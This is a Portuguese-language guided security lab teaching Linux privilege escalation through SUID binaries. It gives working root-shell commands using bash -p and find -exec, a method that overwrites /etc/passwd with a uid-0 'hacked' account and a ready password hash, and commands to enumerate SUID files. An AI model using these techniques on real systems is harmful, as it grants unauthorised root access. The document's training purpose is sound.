Explorar Binários SUID para Escalada de Privilégios no Linux

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá sobre a permissão SUID (Set user ID upon execution) e como aproveitá-la para escalonamento de privilégios em sistemas Linux. O objetivo é obter acesso root explorando binários SUID com várias técnicas, incluindo o uso dos comandos bash, find, cp e mv.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 95%. Recebeu uma taxa de avaliações positivas de 96% dos estudantes.

Entendendo SUID

Nesta etapa, você entenderá o conceito da permissão SUID e suas implicações.

Normalmente, quando um programa é executado no Linux, ele é executado com as permissões do usuário atual. No entanto, alguns programas, como cp, exigem privilégios elevados para realizar certas operações, como copiar arquivos para diretórios restritos. Para permitir que usuários regulares executem esses programas com privilégios elevados, a permissão SUID pode ser definida no arquivo executável.

SUID significa "Set user ID upon execution" (Definir ID de usuário na execução). Quando um arquivo tem a permissão SUID definida, ele é executado com as permissões de seu proprietário, independentemente do usuário que o executa. Por exemplo, o comando cp é propriedade do usuário root e tem o bit SUID definido, permitindo que qualquer usuário o execute com privilégios de root.

Para verificar a permissão SUID no comando cp e salvar a saída em um arquivo, execute o seguinte comando:

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

Visualize o conteúdo do arquivo suid_cp.txt usando o seguinte comando:

cat /home/labex/project/suid_cp.txt

Saída esperada:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

Você deve ver um s nos bits de permissão, indicando a permissão SUID.

Embora o SUID possa ser útil para permitir que usuários regulares executem comandos privilegiados específicos, ele também pode ser explorado se o binário SUID fornecer funcionalidade para executar comandos do sistema ou modificar arquivos.

Explorando SUID com bash

Nesta etapa, você aprenderá como explorar o comando bash com a permissão SUID para escalonamento de privilégios.

  1. Primeiro, abra um terminal e navegue até o diretório /home/labex/project.

    cd /home/labex/project

    Verifique as permissões do comando bash.

    ls -l /bin/bash

    Saída esperada:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. Se o comando bash tiver o bit SUID definido, você pode usá-lo para executar comandos do sistema com privilégios de root usando o seguinte comando:

    bash -p

    Usando whoami, você pode verificar se tem um shell root.

    whoami

    Saída esperada:

    root
  3. Agora, você pode criar um arquivo chamado root.txt no diretório /root e verificar o conteúdo do arquivo.

    touch /root/root.txt

    Você deve ver o arquivo root.txt no diretório /root.

Explorando SUID com find

Nesta etapa, você aprenderá como explorar o comando find com a permissão SUID para escalonamento de privilégios.

Após a etapa anterior, você deve ter um shell root. Para esta etapa, você precisa sair do shell root e fazer login novamente como o usuário labex usando o comando exit ou abrindo um novo terminal.

  1. Primeiro, navegue até o diretório /home/labex/project:

    cd /home/labex/project

    Verifique as permissões do comando find:

    ls -l /usr/bin/find

    Se o comando find tiver o bit SUID definido, você pode usá-lo para executar comandos do sistema com privilégios de root.

  2. A sintaxe para executar um comando com find é:

    find < file > -exec < command > \;

    Aqui, <file> pode ser qualquer arquivo. Vamos criar um arquivo chamado test:

    touch test
  3. Agora, você pode executar comandos usando find:

    find test -exec whoami \;

    Isso executará o comando whoami com privilégios de root. No entanto, este método não é conveniente para comandos interativos como ssh ou su.

  4. Para obter um shell root mais conveniente, você pode executar o comando /bin/bash:

    find test -exec /bin/bash -p \;

    Observação: A flag -p é necessária para preservar o ID de usuário efetivo (EUID) e evitar que ele seja redefinido para o ID de usuário real (RUID).

  5. Você deve ter um shell root agora. Crie um arquivo chamado root.txt no diretório /root e verifique o conteúdo do arquivo:

    touch /root/root.txt

    Você deve ver o arquivo root.txt no diretório /root.

Explorando SUID com cp e mv

Nesta etapa, você aprenderá como explorar os comandos cp e mv com a permissão SUID para escalonamento de privilégios, modificando o arquivo /etc/passwd ou /etc/shadow.

Após a etapa anterior, você deve ter um shell root. Para esta etapa, você precisa sair do shell root e fazer login novamente como o usuário labex usando o comando exit ou abrindo um novo terminal.

  1. Primeiro, navegue até o diretório /home/labex/project:

    cd /home/labex/project

    Verifique as permissões do comando cp:

    ls -l /bin/cp

    Se o comando cp tiver o bit SUID definido, você pode prosseguir com a exploração.

  2. Copie o conteúdo de /etc/passwd para um arquivo em seu diretório home:

    cat /etc/passwd > /home/labex/project/passwd
  3. Crie uma nova entrada de usuário com os seguintes detalhes:

    • Nome de usuário: hacked
    • Senha: pass123

    Insira a seguinte linha no final do arquivo /home/labex/project/passwd:

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  4. Agora, use o comando cp com a permissão SUID para sobrescrever o arquivo /etc/passwd:

    cp /home/labex/project/passwd /etc/passwd
  5. Após sobrescrever o arquivo, você pode mudar para o usuário hacked com a senha pass123 usando o comando su:

    su hacked

    Como o usuário hacked tem um ID de usuário (uid) de 0, você terá privilégios de root.

    O método de exploração para o comando mv é semelhante ao cp. Você pode tentar por conta própria.

Encontrando Binários SUID

Nesta etapa, você aprenderá como encontrar binários SUID em um sistema que podem ser potencialmente explorados para escalonamento de privilégios.

  1. Você pode usar os seguintes comandos para listar todos os arquivos executáveis com o bit SUID definido:

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. Navegue até o diretório /home/labex/project para realizar as seguintes etapas.

    cd /home/labex/project
  3. Escolha qualquer um dos comandos para listar os binários SUID no sistema e analisar a saída.

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    Verifique o conteúdo do arquivo check_results.txt para visualizar a lista de binários SUID no sistema.

    cat check_results.txt

    No entanto, a saída pode conter muitos arquivos que não podem ser explorados para escalonamento de privilégios, exigindo análise manual.

Resumo

Neste laboratório, você aprendeu sobre a permissão SUID e como aproveitar vários binários SUID, como bash, find, cp e mv, para escalonamento de privilégios em sistemas Linux. Você adquiriu experiência prática na exploração desses binários para obter acesso root, uma habilidade crucial no campo da segurança cibernética. O laboratório forneceu um cenário prático e guiou você pelas etapas para entender e aplicar as técnicas de forma eficaz.